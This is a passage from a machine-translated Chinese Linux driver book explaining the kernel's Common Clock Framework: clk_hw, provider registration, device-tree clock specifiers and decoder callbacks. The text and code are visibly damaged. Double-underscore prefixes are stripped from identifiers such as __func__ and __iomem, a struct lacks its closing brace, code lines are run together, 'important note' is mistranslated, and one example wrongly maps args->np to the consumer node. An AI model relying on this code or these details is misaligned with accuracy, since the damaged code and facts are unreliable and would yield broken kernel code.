在本章中,这称为`struct clk_foo`。 由于`struct clk_hw`也指向`struct clk`内,因此它允许在两半之间导航。 - -现在,我们可以介绍 CCF 数据结构。 CCF 构建在常见的异构数据结构(在`include/linux/clk-provider.h`中)之上,这些数据结构有助于尽可能保持该框架的通用性。 这些资料如下: - -* `struct clk_hw`:此结构抽象硬件时钟线,仅在提供程序代码中使用。 它将前面介绍的两个部分联系在一起,并允许在它们之间进行导航。 此外,这个硬件时钟的基本结构允许平台定义它们自己的特定于硬件的时钟结构,以及它们自己的时钟操作回调,只要它们包装了`struct clk_hw`结构的一个实例。 -* `struct clk_ops`:此结构表示可以在时钟线上操作的特定于硬件的回调;即硬件。 这就是为什么此结构中的所有回调都接受指向`struct clk_hw`的指针作为第一个参数,尽管这些操作中只有几个是必需的,具体取决于时钟类型。 -* `struct clk_init_data`:它保存时钟提供程序和公共时钟框架之间共享的所有时钟共有的`init`数据。 时钟提供程序负责为系统中的每个时钟准备此静态数据,然后将其传递给时钟框架的核心逻辑。 -* `struct clk`:此结构是时钟的消费者表示,因为每个消费者 API 都依赖于此结构。 -* `struct clk_core`: This is the CCF representation of a clock. - - 重要音符 - - 通过辨别`struct clk_hw`和`struct clk`之间的区别,我们可以进一步明确区分使用者和提供者 CLK API。 - -现在我们已经列举了该框架的数据结构,我们可以了解它们是如何实现的,以及它们的用途。 - -## 了解结构 CLK_HW 及其依赖关系 - -`struct clk_hw`是 CCF 中每种时钟类型的基本结构。 可以将它(T4)视为从`struct clk`遍历到其对应的特定于硬件的结构的句柄。 以下是`struct clk_hw`的正文: - -```sh -struct clk_hw { -    struct clk_core *core; -    struct clk *clk; -    const struct clk_init_data *init; -}; -``` - -让我们来看看前面结构中的字段: - -* `core`:此结构位于框架核心的内部。 它还在内部指向这个`struct clk_hw`实例。 -* `clk`:这是一个每个用户的`struct clk`实例,可以使用`clk`API 操作。 它由时钟框架分配和维护,并在需要时提供给时钟消费者。 当消费者通过`clk_get`发起对 CCF 中的时钟设备(即`clk_core`)的访问时,它需要获取一个句柄,即`clk`。 -* `init`:这是指向`struct clk_init_data`的指针。 在初始化底层时钟提供程序驱动器的过程中,调用`clk_register()`接口来注册时钟硬件。 在此之前,您需要设置一些初始数据,这些初始数据被抽象为`struct clk_init_data`数据结构。 在初始化过程中,来自`clk_init_data`的数据用于初始化对应于`clk_hw`的`clk_core`数据结构。 初始化完成后,`clk_init_data`没有意义。 - -`struct clk_init_data`定义如下: - -```sh -struct clk_init_data { -    const char *name; -    const struct clk_ops *ops; -    const char * const *parent_names; -    u8 num_parents; -    unsigned long flags; -}; -``` - -它保存所有时钟共有的初始化数据,并在时钟提供程序和公共时钟框架之间共享。 其字段如下: - -* `name`,表示时钟的名称。 -* `ops`是一组与时钟相关的操作功能。 这将在后面的*提供时钟操作*部分中描述。 它的回调将由时钟提供程序驱动提供(以便允许驱动硬件时钟),并将由驱动通过`clk_*`消费者 API 调用。 -* `parent_names`包含时钟的所有父时钟的名称。 这是包含所有可能父级的字符串数组。 -* `num_parents`是父母的数量。 它应该与前面数组中的条目数相对应。 -* `flags` represent the framework-level flags of the clock. We will explain this in detail later in the *Providing clock ops* section, since these flags actually modify some `ops`. - - 重要音符 - - `struct clk`和`struct clk_core`是私有数据结构,在`drivers/clk/clk.c`中定义。 `struct clk_core`结构将时钟设备抽象到 CCF 层,使得每个实际硬件时钟设备(`struct clk_hw`)对应于`struct clk_core`。 - -现在我们已经完成了 CCF 的核心部分`struct clk_hw`,我们可以学习如何向系统注册时钟提供程序。 - -## 注册/注销时钟提供程序 - -时钟提供程序负责在系统初始化期间以树的形式公开它提供的时钟,对它们进行排序,并通过提供程序或时钟框架的核心初始化接口。 - -在早期内核时代(CCF 之前),时钟注册由`clk_register()`接口统一。 现在我们有了基于`clk_hw`的(提供程序)API,我们可以在注册时钟时去掉基于`struct clk`的 API。 由于建议时钟提供者使用新的基于`struct clk_hw`的 API,因此需要考虑的注册接口是`devm_clk_hw_register()`,它是`clk_hw_register()`的托管版本。 但是,由于历史原因,旧的基于`clk`的 API 名称仍然保留,您可能会发现有几个驱动在使用它。 甚至还实现了一个称为`devm_clk_register()`的资源管理版本。 我们讨论这个旧的 API 只是为了让您了解现有的代码,而不是帮助您实现新的驱动: - -```sh -struct clk *clk_register(struct device *dev, struct clk_hw *hw) -int clk_hw_register(struct device *dev, struct clk_hw *hw) -``` - -基于此`clk_hw_register()`接口,内核还提供其他更方便的注册接口(稍后介绍),具体取决于要注册的时钟类型。 它负责将时钟注册到内核,并返回表示时钟的`struct clk_hw`指针。 - -它接受指向`struct clk_hw`的指针(因为`struct clk_hw`是时钟的提供者端表示),并且必须包含要注册的时钟的一些信息。 内核将在其中填充更多数据。 其实现逻辑如下: - -* Assigning the `struct clk_core` space (`clk_hw->core`): - - --根据`struct clk_hw`指针提供的信息,初始化`clk`的字段名`ops`、`hw`、`flags`、`num_parents`、`parents_names`。 - - --调用内核接口`__clk_core_init()`,执行后续初始化操作,包括构建时钟树层次结构。 - -* 通过内部内核接口`clk_create_clk()`赋值`struct clk`空间(`clk_hw->clk`),并返回此`struct clk`变量。 -* 即使`clk_hw_register()`包装了`clk_register()`,也不应该直接使用`clk_register()`,因为它返回`struct clk`。 这可能会导致混淆,并打破提供者和使用者接口之间的严格分离。 - -下面是`drivers/clk/clk.c`中`clk_hw_register`的实现: - -```sh -int clk_hw_register(struct device *dev, struct clk_hw *hw) -{ -    return PTR_ERR_OR_ZERO(clk_register(dev, hw)); -} -``` - -在执行进一步步骤之前,应检查`clk_hw_register()`的返回值。 由于 CCF 框架负责建立整个抽象时钟树的树形结构并维护其数据,因此它通过`drivers/clk/clk.c`中定义的两个静态链表来实现这一点,如下所示: - -```sh -static HLIST_HEAD(clk_root_list); -static HLIST_HEAD(clk_orphan_list); -``` - -每当您在时钟`hw`上调用`clk_hw_register()`(内部调用`__clk_core_init()`以初始化时钟)时,如果该时钟有有效的父时钟,它将在父时钟的`children`列表中结束。 另一方面,如果`num_parent`是`0`,则将其放置在`clk_root_list`中。 否则,它将挂在`clk_orphan_list`内部,这意味着它没有有效的父级。 此外,每当一个新的`clk`是 clk_init‘d 时,CCF 将遍历`clk_orphan_list`(孤立时钟列表),并重新为当前正在初始化的时钟的子级。 这就是 CCF 保持时钟树与硬件拓扑一致的方式。 - -另一方面,`struct clk`是时钟设备的消费者端实例。 基本上,所有用户对时钟设备的访问都会创建`struct clk`类型的访问句柄。 当不同的用户访问相同的时钟设备时,尽管在幕后使用相同的`struct clk_core`实例,但他们访问的句柄(`struct clk`)是不同的。 - -重要音符 - -您应该记住,`clk_hw_register`(或其祖先`clk_register()`)在幕后操作`struct clk_core`,因为这是时钟的 CCF 表示。 - -CCF 通过在`drivers/clk/clkdev.c`中声明的全局链表以及保护其访问的互斥体来管理`clk`个实体,如下所示: - -```sh -static LIST_HEAD(clocks); -static DEFINE_MUTEX(clocks_mutex); -``` - -这源于设备树使用不多的时代。 当时,时钟使用者通过名称(CLK 的名称)获得 CLK。 这是用来识别时钟的。 知道`clk_register()`的目的只是注册到公共时钟框架,所以消费者无法知道如何定位 CLK。 因此,对于底层时钟提供程序驱动,除了调用`clk_register()`函数注册到公共时钟框架之外,还必须在`clk_register()`之后立即调用,以便将时钟与名称绑定(否则,时钟消费者将不知道如何定位时钟)。 因此,内核使用`struct clk_lookup`(顾名思义)来查找可用的时钟,以防消费者请求时钟(当然是按名称)。 - -该机制仍然有效,并在内核中得到支持。 但是,为了使用基于`hw`的 API 强制分离提供者和使用者代码,代码中的`clk_register()`和`clk_register_clkdev()`应该分别替换为`clk_hw_register()`和`clk_hw_register_clkdev()`。 - -换句话说,假设您有以下代码: - -```sh -/* Not be used anymore, introduced here for studying purpose */ -int clk_register_clkdev(struct clk *clk, -                        const char *con_id, const char *dev_id) -``` - -这应替换为以下代码: - -```sh -/* recommended interface */ -int clk_hw_register_clkdev(struct clk_hw *hw, -                           const char *con_id,                            const char *dev_id) -``` - -回到`struct clk_lookup`数据结构,让我们来看看它的定义: - -```sh -struct clk_lookup { -    struct list_head node; -    const char *dev_id; -    const char *con_id; -    struct clk *clk; -    struct clk_hw *clk_hw; -}; -``` - -在前面的数据结构中,`dev_id`和`con_id`用于标识/查找适当的`clk`。 该`clk`是对应的底层时钟。 `node`是将挂起在全局时钟列表内的列表条目,如以下摘录中的低级`__clkdev_add()`函数所示: - -```sh -static void __clkdev_add(struct clk_lookup *cl) -{ -    mutex_lock(&clocks_mutex); -    list_add_tail(&cl->node, &clocks); -    mutex_unlock(&clocks_mutex); -} -``` - -前面的`__clkdev_add()`函数是从`clk_hw_register_clkdev()`中间接调用的,它实际上包装了`clk_register_clkdev()`。 既然我们已经引入了设备树,情况就发生了变化。 基本上,每个时钟提供程序都成为 DTS 中的一个节点;也就是说,每个`clk`在设备树中都有一个与其对应的设备节点。 在这种情况下,与其捆绑`clk`和名称,不如通过新的数据结构`struct of_clk_provider`捆绑`clk`和设备节点。 此特定数据结构如下所示: - -```sh -struct of_clk_provider { -    struct list_head link; -    struct device_node *node; -    struct clk *(*get)(struct of_phandle_args *clkspec,                        void *data); -    struct clk_hw *(*get_hw)(struct of_phandle_args *clkspec, -                             void *data); -    void *data; -}; -``` - -在前面的结构中,会发生以下情况: - -* `link`挂起在`of_clk_providers`全局列表中。 -* `node`表示时钟设备的 DTS 节点。 -* `get_hw`是解码时钟的回调。 对于设备(消费者),它通过`clk_get()`被调用以返回与节点或`NULL`相关联的时钟。 -* `get`出于历史和兼容性原因,是否支持旧的基于 CLK 的 API。 - -然而,如今,由于设备树的频繁和普遍使用,对于底层提供程序驱动,原始的`clk_hw_register()`+`clk_hw_register_clkdev()`(或其基于 CLK 的旧实现,`clk_register()`+`clk_register_clkdev()`)组合变成了`clk_hw_register`+`of_clk_add_hw_provider`的组合(以前的`clk_register`+`of_clk_add_provider`-这可以在旧的和非基于`clk_hw`的驱动中找到)。 此外,CCF 中还引入了新的全局链表`of_clk_providers`,以帮助管理所有 DTS 节点和时钟之间的对应关系,以及保护该列表的互斥体: - -```sh -static LIST_HEAD(of_clk_providers); -static DEFINE_MUTEX(of_clk_mutex); -``` - -虽然`clk_hw_register()`和`clk_hw_register_clkdev()`函数名非常相似,但这两个函数的目标不同。 利用前者,时钟提供者可以在公共时钟框架中注册时钟。 另一方面,顾名思义,`clk_hw_register_clkdev()`在公共时钟框架中注册了一个`struct clk_lookup`。 此操作主要用于查找 CLK。 如果您有一个仅支持设备树的平台,则不再需要对`clk_hw_register_clkdev()`的所有调用(除非您有很强的理由),因此您应该依赖于对`of_clk_add_provider()`的一次调用。 - -重要音符 - -建议时钟提供程序使用新的基于`struct clk_hw`的 API,因为这使我们更接近消费者和提供程序 CLK API 的明显分离。 - -`clk_hw_*`接口是应该在时钟提供程序驱动中使用的提供程序接口,而`clk_*`用于消费者端。 每当您在提供者 c 节点中遇到基于`clk_*`的 API 时,请注意此驱动应该更新以支持新的基于硬件的接口。 - -有些驱动仍然同时使用两种功能(`clk_hw_register_clkdev()`和`of_clk_add_hw_provider()`),以便同时支持两种时钟查找方法,例如 SoC 时钟驱动,但除非有理由,否则不应同时使用这两种方法。 - -到目前为止,我们已经花了一些时间来讨论时钟注册。 但是,可能需要取消注册时钟,这可能是因为底层时钟硬件脱离系统,或者因为硬件初始化过程中出现错误。 时钟注销接口相当简单: - -```sh -void clk_hw_unregister(struct clk_hw *hw) -void clk_unregister(struct clk *clk) -``` - -前一个以基于`clk_hw`的时钟为目标,而第二个以基于 CLK 的时钟为目标。 对于托管变体,除非 Devres 核心处理取消注册,否则您应该使用以下 API: - -```sh -void devm_clk_unregister(struct device *dev, struct clk *clk) -void devm_clk_hw_unregister(struct device *dev, struct clk_hw *hw) -``` - -在这两种情况下,`dev`表示与时钟相关的底层设备结构。 - -至此,我们已经完成了时钟注册/取消注册。 也就是说,驱动的主要目的之一是向潜在消费者公开设备资源,这也适用于时钟设备。 在下一节中,我们将学习如何向消费者展示时钟线路。 - -## 将时钟暴露给其他人(详细) - -一旦时钟已经向 CCF 注册了,下一步就是注册该时钟提供程序,以便其他设备可以使用它的时钟线路。 在旧的内核时代(设备树使用不多),您必须通过在每条时钟线上调用`clk_hw_register_clkdev()`来向消费者公开时钟,这会导致为给定的时钟线注册一个查找结构。 目前,设备树通过调用`of_clk_add_hw_provider()`接口以及一定数量的参数来实现此目的: - -```sh -int of_clk_add_hw_provider( -    struct device_node *np, -    struct clk_hw *(*get)(struct of_phandle_args *clkspec, -                          void *data), -    void *data) -``` - -让我们看一下此函数中的参数: - -* `np`是与时钟提供程序关联的设备节点指针。 -* `get`是解码时钟的回调。 我们将在下一节详细讨论此回调。 -* `data`是给定`get`回调的上下文指针。 这通常是指向需要与设备节点关联的时钟的指针。 这对解码很有用。 - -此函数在成功的路径上返回`0`。 它执行与`of_clk_del_provider()`相反的操作,后者包括从全局列表中删除提供程序并释放其空间: - -```sh -void of_clk_del_provider(struct device_node *np) -``` - -它的资源管理版本`devm_of_clk_add_hw_provider()`也可以用来去除的删除功能。 - -### 时钟提供程序设备树节点及其关联机制 - -在相当长的一段时间内,设备树是描述(声明)系统上的设备的首选方法。 公共时钟框架无法逃脱这一规则。 在这里,我们将尝试弄清楚如何从设备树和相关驱动代码中描述时钟。 要实现这一点,我们需要考虑以下设备树摘录: - -```sh -clocks { -    /* Provider node */ -    clk54: clk54 { -        #clock-cells = <0>; -        compatible = 'fixed-clock'; -        clock-frequency = <54000000>; -        clock-output-names = 'osc'; -    }; -}; -[...] -i2c0: i2c-master@d090000 { -    [...] -    /* Consumer node */ -    cdce706: clock-synth@69 { -        compatible = 'ti,cdce706'; -        #clock-cells = <1>; -        reg = <0x69>;         clocks = <&clk54>; -        clock-names = 'clk_in0'; -    }; -}; -``` - -请记住,时钟是通过`clocks`属性分配给消费者的,时钟提供者也可以是消费者。 在前面的摘录中,`clk54`是一个固定的时钟;我们不会在这里详细介绍。 `cdce706`是一个时钟提供程序,它也消耗`clk54`(在`clocks`属性中作为`phandle`给出)。 - -时钟提供者节点需要指定的最重要的信息是`#clock- cells`属性,该属性确定时钟说明符的长度:当它为`0`时,这意味着只需要将该提供者的`phandle`属性提供给使用者。 当它为`1`(或更大)时,这意味着`phandle`属性有多个输出,需要提供附加信息,例如指示需要使用什么输出的 ID。 此 ID 直接由立即值表示。 最好在头文件中定义系统中所有时钟的 ID。 设备树可以包括此头文件,例如`clocks = <&clock CLK_SPI0>`,其中`CLK_SPI0`是在头文件中定义的宏。 - -现在,让我们来看看`clock-output-names`。 这是一个可选但建议使用的属性,应该是与输出(即提供的)时钟线的名称相对应的字符串列表。 - -请看以下提供程序节点摘录: - -```sh -osc { -    #clock-cells = <1>; -    clock-output-names = 'ckout1', 'ckout2'; -}; -``` - -前面的节点定义了一个设备,该设备分别提供名为`ckout1`和`ckout2`的两条时钟输出线。 使用者节点不应直接使用这些名称来引用这些时钟线。 相反,它们应该使用适当的时钟说明符(根据供应商的`#clock-cells`通过索引引用时钟),以允许它们根据器件的需要命名其输入时钟线路: - -```sh -device { -    clocks = <&osc 0>, <&osc 1>; -    clock-names = 'baud', 'register'; -}; -``` - -该器件消耗`osc`提供的两条时钟线,并根据需要命名其输入线。 我们将在本章末尾讨论消费者节点。 - -当时钟线路分配给消费者设备,并且该消费者的驱动调用`clk_get()`(或用于获取时钟的类似接口)时,此接口调用`of_clk_get_by_name()`,而后者又调用`__of_clk_get()`。 这里感兴趣的函数是`__of_clk_get()`。 在`drivers/clk/clkdev.c`中定义如下: - -```sh -static struct clk * of_clk_get(struct device_node *np,                                int index, -                               const char *dev_id,                                const char *con_id) -{ -    struct of_phandle_args clkspec; -    struct clk *clk; -    int rc; -    rc = of_parse_phandle_with_args(np, 'clocks',             -                                    '#clock-cells', -                                    index, &clkspec); -    if (rc) -        return ERR_PTR(rc); -    clk = of_clk_get_from_provider(&clkspec, dev_id, con_id); -    of_node_put(clkspec.np); -    return clk; -} -``` - -重要音符 - -此函数返回指向`struct clk`的指针而不是指向`struct clk_hw`的指针,这是完全正常的,因为此接口是从消费者端操作的。 - -这里的魔力来自`of_parse_phandle_with_args()`,它解析`phandle`及其参数的列表,然后调用`__of_clk_get_from_provider()`,我们将在后面描述。 - -#### 了解 of_parse_phandle_with_args()API - -下面是`of_parse_phandle_with_args`的原型: - -```sh -int of_parse_phandle_with_args(const struct device_node *np, -                               const char *list_name, -                               const char *cells_name, -                               int index, -                               struct of_phandle_args *out_args) -``` - -此函数在成功时返回`0`,并填充`out_args`;在出错时返回适当的`errno`值。 让我们来看看它的论点: - -* `np`是指向包含列表的设备树节点的指针。 在我们的示例中,它将是与使用者相对应的节点。 -* `list_name`是包含列表的属性名称。 在我们的例子中,它是`clocks`。 -* `cells_name`是指定 phandle 的参数计数的属性名称。 在我们的例子中,它是`#clock-cells`。 它帮助我们获取说明符中`phandle`属性之后的参数(其他单元格)。 -* `index`是`phandle`属性的索引,用于解析列表。 -* `out_args`是在成功路径上填充的可选输出参数。 此参数为`of_phandle_args`类型,定义如下: - - ```sh - #define MAX_PHANDLE_ARGS 16 - struct of_phandle_args { -     struct device_node *np; -     int args_count; -     uint32_t args[MAX_PHANDLE_ARGS]; - }; - ``` - -在`struct of_phandle_args`中,`np`元素是指向对应于`phandle`属性的节点的指针。 在时钟说明符的情况下,它将是时钟提供程序的设备树节点。 `args_count`元素对应于说明符中竖线后面的单元格数量。 它可用于遍历`args`,这是一个包含相关参数的数组。 - -让我们看一个使用`of_parse_phandle_with_args()`的示例,给出以下 DTS 摘录: - -```sh -phandle1: node1 { -    #gpio-cells = <2>; -}; -phandle2: node2 { -    #list-cells = <1>; -}; -node3 { -    list = <&phandle1 1 2 &phandle2 3>; -}; -/* or */ -node3 { -    list = <&phandle1 1 2>, <&phandle2 3>; -} -``` - -这里,`node3`是一个消费者。 要获取指向`node2`节点的`device_node`指针,可以调用`of_parse_phandle_with_args(node3, 'list', '#list-cells', 1, &args);`。 由于`&phandle2`在列表中位于索引`1`(从`0`开始),因此我们在`index`参数中指定了`1`。 - -同样,要获得`node1`节点的关联`device_node`,可以调用`of_parse_phandle_with_args(node3, 'list', '#gpio-cells', 0, &args);`。 对于第二种情况,如果我们查看`args`输出参数,我们将看到`args->np`对应于`node3`,`args->args_count`的值是`2`(因为此说明符需要`2`参数),`args->args[0]`的值是`1`,`args->args[1]`的值是`2`,对应于说明符中的`2`参数。 - -重要音符 - -要进一步了解设备树 API,请查看`drivers/of/base.c`中的 de 副树核心代码提供的`of_parse_phandle_with_fixed_args()`和其他接口。 - -#### 了解 __of_clk_get_from_Provider()API - -`__of_clk_get()`中的下一个函数调用是`__of_clk_get_from_provider()`。 我之所以提供它的原型,是因为您不能在代码中使用它。 但是,该函数只是遍历时钟提供程序(在`of_clk_providers`列表中),当找到合适的提供程序时,它调用作为`of_clk_add_provider()`的第二个参数提供的底层回调来解码底层时钟。 这里,给出了`of_parse_phandle_with_args()`返回的时钟说明符作为参数。 您可能还记得,当您必须向其他设备公开时钟提供程序时,我们必须使用`of_clk_add_hw_provider()`。 作为第二个参数,每当消费者调用`clk_get()`时,该接口接受 CCF 用来解码底层时钟的回调。 该回调的结构如下: - -```sh -struct clk_hw *(*get_hw)(struct of_phandle_args *clkspec, void *data) -``` - -此回调应根据其参数返回底层的`clock_hw`。 `clkspec`是`of_parse_phandle_with_args()`返回的时钟说明符,而`data`是作为第三个参数给`of_clk_add_hw_provider()`的上下文数据。 请记住,`data`通常是指向与节点关联的时钟的指针。 要了解此回调是如何在内部调用的,我们需要了解一下`__of_clk_get_from_provider()`接口的定义,定义如下: - -```sh -struct clk * of_clk_get_from_provider(struct                                       of_phandle_args *clkspec, -                                      const char *dev_id,                                       const char *con_id) -{ -    struct of_clk_provider *provider; -    struct clk *clk = ERR_PTR(-EPROBE_DEFER); -    struct clk_hw *hw; -    if (!clkspec) -        return ERR_PTR(-EINVAL); -    /* Check if we have such a provider in our array */ -    mutex_lock(&of_clk_mutex); -    list_for_each_entry(provider, &of_clk_providers, link) { -        if (provider->node == clkspec->np) { -          hw = of_clk_get_hw_from_provider (provider, clkspec); -            clk = clk_create_clk(hw, dev_id, con_id); -        } -        if (!IS_ERR(clk)) { -            if (! clk_get(clk)) { -                clk_free_clk(clk); -                clk = ERR_PTR(-ENOENT); -            } -            break; -        } -    } -    mutex_unlock(&of_clk_mutex); -    return clk; -} -``` - -#### 时钟解码回调 - -如果我们必须总结从 CCF 获取时钟背后的机制,我们会说,当消费者调用`clk_get()`时,CCF 内部调用`__of_clk_get()`。 这是作为该使用者的`device_node`属性的第一个参数给出的,这样 CCF 就可以获取时钟说明符,并找到与提供者相对应的`device_node`属性(通过`of_parse_phandle_with_args()`)。 然后,它以`of_phandle_args`的形式返回该值。 此`of_phandle_args`对应于时钟说明符,并作为参数提供给`__of_clk_get_from_provider()`,它只是将`of_phandle_args`(即`of_phandle_args->np`)中提供程序的`device_node`属性与设备树时钟提供程序列表`of_clk_providers`中存在的属性进行比较。 一旦找到匹配项,就会调用该提供程序的相应`of_clk_provider->get()`回调,并返回底层时钟。 - -重要音符 - -如果`__of_clk_get()`失败,这意味着无法找到给定设备节点的有效时钟。 这也可能意味着提供商没有向设备树接口注册其时钟。 因此,当`of_clk_get()`失败时,CCF 代码调用`clk_get_sys()`,这是退回到根据不再在设备树上的时钟名称查找时钟。 这是`clk_get()`背后的真正逻辑。 - -此`of_clk_provider->get()`回调通常依赖于作为参数提供给`of_clk_add_provider()`的上下文数据,以便返回底层时钟。 虽然可以编写您自己的回调(应该尊重上一节中已经介绍的原型),但 CCF 框架提供了两个覆盖大多数情况的通用解码回调。 这些是`of_clk_src_onecell_get()`和`of_clk_src_simple_get()`,它们都有相同的原型: - -```sh -struct clk_hw *of_clk_hw_simple_get(struct                                     of_phandle_args *clkspec, -                                    void *data); -struct clk_hw *of_clk_hw_onecell_get(struct                                      of_phandle_args *clkspec, -                                     void *data); -``` - -`of_clk_hw_simple_get()`用于简单时钟提供程序,其中除了时钟本身不需要特殊的上下文数据结构,例如时钟-GPIO 驱动器(在`drivers/clk/clk-gpio.c`中)。 该回调只按原样返回作为上下文数据参数提供的数据,这意味着该参数应该是时钟。 在`drivers/clk/clk.c`中定义如下: - -```sh -struct clk_hw *of_clk_hw_simple_get(struct                                     of_phandle_args *clkspec, -                                    void *data) -{ -    return data; -} -EXPORT_SYMBOL_GPL(of_clk_hw_simple_get); -``` - -另一方面,`of_clk_hw_onecell_get()`稍微复杂一些,因为它需要称为`struct clk_hw_onecell_data`的特殊数据结构。 这可以定义为: - -```sh -struct clk_hw_onecell_data { -    unsigned int num; -    struct clk_hw *hws[]; -}; -``` - -在前面的结构中,`hws`是指向`struct clk_hw`的指针数组,`num`是该数组中的条目数。 - -重要音符 - -在尚未实现基于 CLK_HW 的 API 的旧时钟提供程序驱动中,您可能会看到`struct clk_onecell_data`、`of_clk_add_provider()`、`of_clk_src_onecell_get()`和`of_clk_add_provider()`,而不是本书中介绍的数据结构和接口。 - -也就是说,要控制存储在此数据结构中的时钟,建议将它们包装在您的上下文数据结构中,如`drivers/clk/sunxi/clk-sun9i-mmc.c`中的以下示例所示: - -```sh -struct sun9i_mmc_clk_data { -    spinlock_t lock; -    void  iomem *membase; -    struct clk *clk; -    struct reset_control *reset; -    struct clk_hw_onecell_data clk_hw_data; -    struct reset_controller_dev rcdev; -}; -``` - -然后,您应该根据应该存储的时钟数量为这些时钟动态分配空间: - -```sh -int sun9i_a80_mmc_config_clk_probe(struct                                    platform_device *pdev){    struct device_node *np = pdev->dev.of_node; -    struct sun9i_mmc_clk_data *data; -    struct clk_hw_onecell_data *clk_hw_data; -    const char *clk_name = np->name; -    const char *clk_parent; -    struct resource *r; -    [...] -    data = devm_kzalloc(&pdev->dev, sizeof(*data), GFP_KERNEL); -    if (!data) -        return -ENOMEM; -    clk_hw_data = &data->clk_hw_data; -    clk_hw_data->num = count; -    /* Allocating space for clk_hws, and 'count' is the number -     *of entries -     */ -    clk_hw_data->hws = -    devm_kcalloc(&pdev->dev, count, sizeof(struct clk_hw *), -                     GFP_KERNEL); -    if (!clk_hw_data->hws) -        return -ENOMEM; -    /* A clock provider may be a consumer from another -     * provider as well      */ -    data->clk = devm_clk_get(&pdev->dev, NULL); -    clk_parent = __clk_get_name(data->clk); -    for (i = 0; i < count; i++) { -        of_property_read_string_index(np, 'clock-output-names', -                                      i, &clk_name); -        /* storing each clock in its location */ -        clk_hw_data->hws[i] = -        clk_hw_register_gate(&pdev->dev, clk_name,                            clk_parent, 0, -                           data->membase + SUN9I_MMC_WIDTH * i, -                           SUN9I_MMC_GATE_BIT, 0, &data->lock);        if (IS_ERR(clk_hw_data->hws[i])) {            ret = PTR_ERR(clk_hw_data->hws[i]);            goto err_clk_register;        }    } -    ret = -       of_clk_add_hw_provider(np, of_clk_hw_onecell_get,                               clk_hw_data); -    if (ret) -        goto err_clk_provider; -    [...] -    return 0;} -``` - -重要音符 - -在撰写本文时,前面的摘录(摘自 Sunxi A80 SoC MMC 配置时钟/复位驱动)仍然使用基于 CLK 的 API(以及`struct clk`、`clk_register_gate()`和`of_clk_add_src_provider()`接口),而不是`clk_hw`接口。 因此,出于学习目的,我修改了这段摘录,使其使用推荐的`clk_hw`API。 - -如您所见,在时钟注册期间给出的上下文数据是`clk_hw_data`,它属于`clk_hw_onecell_data`类型。 此外,给出了`of_clk_hw_onecell_get`作为时钟解码器回调函数。 这个帮助器只返回在时钟说明符(类型为`of_phandle_args`)中作为参数给定的索引处的时钟。 请看一下它的定义,以便更好地理解: - -```sh -struct clk_hw * of_clk_hw_onecell_get(struct                                       of_phandle_args *clkspec, -                                      void *data) -{ -    struct clk_hw_onecell_data *hw_data = data; -    unsigned int idx = clkspec->args[0]; -    if (idx >= hw_data->num) { -        pr_err('%s: invalid index %u\n', func , idx); -        return ERR_PTR(-EINVAL); -    } -    return hw_data->hws[idx]; -} -EXPORT_SYMBOL_GPL(of_clk_hw_onecell_get); -``` - -当然,根据您的需要,可以随意实现您自己的解码器回调,类似于`max9485`音频时钟生成器中的回调,它的驱动在内核源代码的树中是`drivers/clk/clk-max9485.c`。 - -在本节中,我们了解了时钟提供程序的设备树方面。 我们已经了解了如何暴露设备的时钟源线,以及如何将这些时钟线分配给消费者。 现在,到了介绍驱动端的时候了,驱动端还包括为其时钟提供程序编写代码。 - -# 编写时钟提供程序驱动 - -虽然设备树的目的是描述手头的硬件(在本例中是时钟提供程序),但值得注意的是,需要编写用于管理底层硬件的代码。 本节介绍如何为时钟提供程序编写代码,以便一旦将时钟线路分配给消费者,它们就会按照设计的方式运行。 编写时钟设备驱动时,最好将完整的`struct clk_hw`(而不是指针)嵌入到私有的更大的数据结构中,因为它是作为`clk_ops`中每个回调的第一个参数给出的。 这使您可以在`container_of`宏上定义自定义的`to_`帮助器,从而返回指向您的私有数据结构的指针,如下所示: - -```sh -/* forward reference */ -struct max9485_driver_data; -struct max9485_clk_hw { -    struct clk_hw hw; -    struct clk_init_data init;     u8 enable_bit; -    struct max9485_driver_data *drvdata; -; -struct max9485_driver_data { -    struct clk *xclk; -    struct i2c_client *client; -    u8 reg_value; -    struct regulator *supply; -    struct gpio_desc *reset_gpio; -    struct max9485_clk_hw hw[MAX9485_NUM_CLKS]; -}; -static inline struct max9485_clk_hw *to_max9485_clk(struct                                                     clk_hw *hw) -{ -    return container_of(hw, struct max9485_clk_hw, hw); -} -``` - -在前面的示例中,`max9485_clk_hw`抽象了`hw`时钟(因为它包含`struct clk_hw`)。 现在,从驱动的角度来看,每个`struct max9485_clk_hw`代表一个 HW 时钟,允许我们定义另一个更大的结构,这一次将用作驱动数据:`max9485_driver_data`结构。 您将注意到前面结构中的一些交叉引用,特别是在包含指向`struct max9485_driver_data`的指针的`struct max9485_clk_hw`和包含`max9485_clk_hw`数组的`struct max9485_driver_data`中。 这允许我们从任何`clk_ops`回调中获取驱动数据,如下所示: - -```sh -static unsigned long -max9485_clkout_recalc_rate(struct clk_hw *hw, -                               unsigned long parent_rate) -{ -    struct max9485_clk_hw *max_clk_hw = to_max9485_clk(hw); -    struct max9485_driver_data *drvdata = max_clk_hw->drvdata; -    [...] -    return 0; -} -``` - -此外,如下面的摘录所示,静态声明时钟线(在本例中由`max9485_clk_hw`抽象)以及相关的操作是一种很好的做法。 这是因为,与私有数据(可能会从一个设备更改到另一个设备)不同,无论系统上存在多少相同类型的时钟芯片,此信息永远不会更改: - -```sh -static const struct max9485_clk max9485_clks[MAX9485_NUM_CLKS] = { -    [MAX9485_MCLKOUT] = { -        .name = 'mclkout', -        .parent_index = -1, -        .enable_bit = MAX9485_MCLK_ENABLE, -        .ops = { -            .prepare = max9485_clk_prepare, -            .unprepare = max9485_clk_unprepare, -        }, -    }, -    [MAX9485_CLKOUT] = { -        .name = 'clkout', -        .parent_index = -1, -        .ops = { -             .set_rate = max9485_clkout_set_rate, -            .round_rate = max9485_clkout_round_rate, -            .recalc_rate = max9485_clkout_recalc_rate, -        }, -    }, -    [MAX9485_CLKOUT1] = { -        .name = 'clkout1', -        .parent_index = MAX9485_CLKOUT, -        .enable_bit = MAX9485_CLKOUT1_ENABLE, -        .ops = { -            .prepare = max9485_clk_prepare, -            .unprepare = max9485_clk_unprepare, -        }, -    }, -    [MAX9485_CLKOUT2] = { -        .name = 'clkout2', -        .parent_index = MAX9485_CLKOUT, -        .enable_bit = MAX9485_CLKOUT2_ENABLE, -        .ops = { -            .prepare = max9485_clk_prepare, -            .unprepare = max9485_clk_unprepare, -        }, -    }, -}; -``` - -尽管 op 嵌入在抽象数据结构中,但它们可以单独声明,就像在内核源代码的`drivers/clk/clk-axm5516.c`文件中一样。 